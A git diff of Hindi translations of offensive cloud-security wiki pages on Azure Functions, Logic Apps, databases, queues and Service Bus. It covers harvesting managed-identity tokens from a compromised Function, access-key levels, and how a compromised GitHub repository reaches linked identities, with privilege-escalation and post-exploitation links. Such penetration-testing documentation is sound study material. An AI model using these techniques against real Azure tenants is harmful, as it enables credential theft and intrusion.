**सिस्टम असाइन** वाला एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह असाइन किया गया है, जबकि **यूजर असाइन** प्रबंधित पहचानें ऐसी प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**।
|
||||
**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें वे प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**।
|
||||
|
||||
> [!NOTE]
|
||||
> जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **1 सिस्टम असाइन** प्रबंधित पहचान और **कई यूजर असाइन** प्रबंधित पहचान हो सकती हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक फ़ंक्शन से कई प्रबंधित पहचान को बढ़ा सकते हैं।
|
||||
> जैसे कि [**VMs**](vms/index.html) में, Functions के पास **1 system assigned** प्रबंधित पहचान और **कई user assigned** हो सकते हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक Function से कई प्रबंधित पहचान को बढ़ा सकते हैं।
|
||||
>
|
||||
> यदि कोई सिस्टम प्रबंधित पहचान का उपयोग नहीं किया गया है लेकिन एक या अधिक यूजर प्रबंधित पहचानें फ़ंक्शन से जुड़ी हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
|
||||
> यदि कोई system managed identity का उपयोग नहीं किया गया है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी हुई हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
|
||||
|
||||
आप [**PEASS स्क्रिप्ट्स**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **हाथ से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
|
||||
आप [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **मैन्युअल रूप से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी प्रबंधित पहचान** की जांच करने का एक तरीका है क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक** का उपयोग करेगा (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
|
||||
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए एक्सेस देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए **एक एक्सेस कुंजी** का उपयोग करना आवश्यक हो सकता है।
|
||||
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शन को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए एक **access key** का उपयोग करना आवश्यक हो सकता है।
|
||||
|
||||
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि फ़ंक्शन को सक्रिय करने के लिए आवश्यक **एक्सेस कुंजी प्राधिकरण स्तर** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
|
||||
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि **फ़ंक्शन को सक्रिय करने के लिए आवश्यक access key authorization level** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
|
||||
|
||||
- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुँच सकता है।
|
||||
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर कुंजी** का उपयोग कर रहे हैं।
|
||||
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर कुंजी** है।
|
||||
- **ANONYMOUS**: **सभी** फ़ंक्शन को URL द्वारा एक्सेस कर सकते हैं।
|
||||
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **function, host या master key** का उपयोग कर रहे हैं।
|
||||
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **master key** है।
|
||||
|
||||
**कुंजी के प्रकार:**
|
||||
**Type of keys:**
|
||||
|
||||
- **Function Keys:** फ़ंक्शन कुंजी या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **एक फ़ंक्शन ऐप के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुँच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक़ी से पहुँच मिलती है।
|
||||
- **Host Keys:** होस्ट कुंजी, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **एक फ़ंक्शन ऐप के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक पहुँच प्रदान करती हैं जिनका FUNCTION एक्सेस स्तर है**।
|
||||
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुँच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
|
||||
- **System Keys:** सिस्टम कुंजी **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होती हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुँच के लिए आवश्यक होती हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं।
|
||||
- **Function Keys:** Function keys या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकते हैं और इन्हें विशेष रूप से **Function App के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुंच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुंच मिलती है।
|
||||
- **Host Keys:** Host keys, जो भी डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकते हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION access level** के साथ पहुंच प्रदान करते हैं।
|
||||
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN access level सहित) तक पहुंच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
|
||||
- **System Keys:** System keys **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होते हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुंच के लिए आवश्यक होते हैं। उदाहरणों में Event Grid ट्रिगर और Durable Functions शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुँचने का उदाहरण:
|
||||
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुंचने का उदाहरण:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
जैसे कि ऐप सेवाओं में, फ़ंक्शंस भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
|
||||
जैसे कि App Services में, Functions भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक पायथन फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
|
||||
जब एक फ़ंक्शन एक Github repo से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github Workflow बनाने की अनुमति देता है** ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -195,7 +195,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
इसके अलावा, एक **Managed Identity** भी बनाई जाती है ताकि रिपॉजिटरी से Github Action इसके साथ Azure में लॉगिन कर सके। यह **Managed Identity** पर एक Federated credential उत्पन्न करके किया जाता है, जो **Issuer** `https://token.actions.githubusercontent.com` और **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>` को अनुमति देता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> इसलिए, जो कोई भी उस रिपॉजिटरी को समझौता करेगा, वह फ़ंक्शन और इससे जुड़े Managed Identities को भी समझौता कर सकेगा।
|
||||
> इसलिए, जो कोई भी उस रिपॉजिटरी को समझौता करेगा, वह फ़ंक्शन और उससे जुड़े Managed Identities को भी समझौता कर सकेगा।
|
||||
|
||||
### Container Based Deployments
|
||||
|
||||
|
||||
@@ -6,12 +6,12 @@
|
||||
|
||||
Azure Logic Apps एक क्लाउड-आधारित सेवा है जो Microsoft Azure द्वारा प्रदान की जाती है जो डेवलपर्स को **विभिन्न सेवाओं**, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने में सक्षम बनाती है। ये वर्कफ़्लो **व्यापार प्रक्रियाओं को स्वचालित** करने, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं।
|
||||
|
||||
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं।
|
||||
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce, और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं।
|
||||
|
||||
### Examples
|
||||
|
||||
- **डेटा पाइपलाइनों का स्वचालन**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यावसायिक बुद्धिमत्ता संचालन में मदद करता है।
|
||||
- **Azure Functions के साथ एकीकरण**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** में सक्षम है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
|
||||
- **Automating Data Pipelines**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो एनालिटिक्स और व्यवसायिक बुद्धिमत्ता संचालन में मदद करता है।
|
||||
- **Integrating with Azure Functions**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** के लिए काम कर सकता है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
@@ -37,9 +37,9 @@ There are several hosting options:
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में संचालित होता है, और प्रति संचालन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है।
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए शुल्क। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
|
||||
- **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण अलगाव और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च अलगाव की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है।
|
||||
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है।
|
||||
- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
|
||||
- **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण पृथक्करण और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च पृथक्करण की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है।
|
||||
- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -141,12 +141,12 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
**Integration Accounts**, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
|
||||
|
||||
* Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
|
||||
* Maps: अपने एकीकरण कार्यप्रवाहों के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
|
||||
* Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
|
||||
* Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
|
||||
* Assemblies: लॉजिक और डेटा प्रोसेसिंग को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
|
||||
* Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
|
||||
* Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
|
||||
* Agreements: व्यापार भागीदारों के साथ डेटा का आदान-प्रदान करने के लिए नियम और सेटिंग्स कॉन्फ़िगर करें (जैसे, EDI, AS2)।
|
||||
* Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रसंस्करण कॉन्फ़िगरेशन प्रबंधित करें।
|
||||
* Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रोसेसिंग कॉन्फ़िगरेशन प्रबंधित करें।
|
||||
* RosettaNet PIP: B2B संचार को मानकीकरण के लिए RosettaNet Partner Interface Processes (PIPs) कॉन्फ़िगर करें।
|
||||
|
||||
#### Enumeration
|
||||
@@ -257,7 +257,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
../az-privilege-escalation/az-logic-apps-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
|
||||
@@ -11,7 +11,7 @@ Azure Database for MySQL एक पूरी तरह से प्रबंध
|
||||
- पूर्वानुमानित कार्यभार वाले एप्लिकेशनों के लिए आदर्श।
|
||||
* **Flexible Server**:
|
||||
- डेटाबेस प्रबंधन और कॉन्फ़िगरेशन पर अधिक नियंत्रण प्रदान करता है।
|
||||
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-निराधार)।
|
||||
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-प्रतिरोधी)।
|
||||
- सुविधाओं में लचीला स्केलिंग, पैच प्रबंधन, और कार्यभार अनुकूलन शामिल हैं।
|
||||
- लागत बचत के लिए स्टॉप/स्टार्ट कार्यक्षमता प्रदान करता है।
|
||||
|
||||
@@ -147,7 +147,7 @@ az mysql flexible-server deploy run \
|
||||
|
||||
## करने के लिए
|
||||
|
||||
* mysql flexible-server ad-admin के साथ पहुंच प्राप्त करने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक विशेषाधिकार वृद्धि विधि है
|
||||
* mysql flexible-server ad-admin के साथ पहुँचने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक विशेषाधिकार वृद्धि विधि है
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -122,7 +122,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लॉइटेशन
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-postgresql-post-exploitation.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Queue Storage एक सेवा है जो Microsoft's Azure cloud platform में संदेश कतार के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाती है**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देती है, प्रत्येक का आकार 64 KB तक होता है, और इसमें कतारें बनाने और हटाने, संदेश जोड़ने, प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशंस का समर्थन किया जाता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है।
|
||||
Azure Queue Storage एक सेवा है जो Microsoft के Azure क्लाउड प्लेटफ़ॉर्म में एप्लिकेशन घटकों के बीच संदेश कतारबद्ध करने के लिए डिज़ाइन की गई है, **असिंक्रोनस संचार और डिकपलिंग को सक्षम बनाना**। यह आपको अनलिमिटेड संख्या में संदेशों को स्टोर करने की अनुमति देता है, प्रत्येक का आकार 64 KB तक होता है, और इसमें कतारें बनाने और हटाने, संदेश जोड़ने, पुनः प्राप्त करने, अपडेट करने और हटाने, साथ ही मेटाडेटा और एक्सेस नीतियों का प्रबंधन करने जैसी ऑपरेशंस का समर्थन करता है। जबकि यह आमतौर पर पहले आए पहले जाए (FIFO) तरीके से संदेशों को प्रोसेस करता है, सख्त FIFO की गारंटी नहीं है।
|
||||
|
||||
### Enumeration
|
||||
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जिनमें कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कि कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
|
||||
Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जो कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** इसका उद्देश्य संदेशों को तब तक संग्रहीत करना है जब तक प्राप्तकर्ता तैयार न हो।
|
||||
- संदेश क्रमबद्ध, टाइमस्टैम्प किए गए और स्थायी रूप से संग्रहीत होते हैं।
|
||||
- खींचने के मोड में वितरित किया जाता है (आवश्यकता पर पुनर्प्राप्ति)।
|
||||
- पुल मोड (ऑन-डिमांड पुनर्प्राप्ति) में वितरित किए जाते हैं।
|
||||
- बिंदु-से-बिंदु संचार का समर्थन करता है।
|
||||
2. **Topics:** प्रसारण के लिए प्रकाशन-सदस्यता मैसेजिंग।
|
||||
2. **Topics:** प्रसारण के लिए प्रकाशन-ग्राहक मैसेजिंग।
|
||||
- कई स्वतंत्र सदस्यताएँ संदेशों की प्रतियाँ प्राप्त करती हैं।
|
||||
- सदस्यताओं में वितरण को नियंत्रित करने या मेटाडेटा जोड़ने के लिए नियम/फिल्टर हो सकते हैं।
|
||||
- कई-से-कई संचार का समर्थन करता है।
|
||||
@@ -31,18 +31,18 @@ Azure Service Bus एक क्लाउड-आधारित **मैसेज
|
||||
- **Filters & Actions**: संदेशों को फ़िल्टर या एनोटेट करने के लिए नियम लागू करता है।
|
||||
- **Auto-Delete on Idle**: निष्क्रियता के बाद कतारों को हटा देता है (न्यूनतम: 5 मिनट)।
|
||||
- **Duplicate Detection**: पुनः भेजने के दौरान डुप्लिकेट संदेशों को हटा देता है।
|
||||
- **Batch Deletion**: समाप्त या अनावश्यक संदेशों को थोक में हटाता है।
|
||||
- **Batch Deletion**: समाप्त या अनावश्यक संदेशों को बल्क में हटाता है।
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
SAS नीतियाँ Azure Service Bus संस्थाओं के नामस्थान (सबसे महत्वपूर्ण) के लिए पहुँच अनुमतियों को परिभाषित करती हैं, कतारें और विषय। प्रत्येक नीति में निम्नलिखित घटक होते हैं:
|
||||
|
||||
- **Permissions**: पहुँच स्तर निर्दिष्ट करने के लिए चेकबॉक्स:
|
||||
- प्रबंधित करें: संस्थाओं पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है।
|
||||
- भेजें: संस्थाओं को संदेश भेजने की अनुमति देता है।
|
||||
- सुनें: संस्थाओं से संदेश प्राप्त करने की अनुमति देता है।
|
||||
- प्रबंधित करें: इकाई पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है।
|
||||
- भेजें: इकाई को संदेश भेजने की अनुमति देता है।
|
||||
- सुनें: इकाई से संदेश प्राप्त करने की अनुमति देता है।
|
||||
- **Primary and Secondary Keys**: ये क्रिप्टोग्राफिक कुंजी हैं जो पहुँच को प्रमाणित करने के लिए सुरक्षित टोकन उत्पन्न करने के लिए उपयोग की जाती हैं।
|
||||
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो उपयोग में आसानी के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
|
||||
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो एप्लिकेशन में उपयोग के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
|
||||
- **SAS Policy ARM ID**: प्रोग्रामेटिक पहचान के लिए नीति का Azure Resource Manager (ARM) पथ।
|
||||
|
||||
### NameSpace
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure नेटवर्किंग बुनियादी जानकारी
|
||||
|
||||
Azure नेटवर्क में **विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके शामिल हैं।** आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त **विवरण,** **उदाहरण** और **गणना** कमांड पा सकते हैं:
|
||||
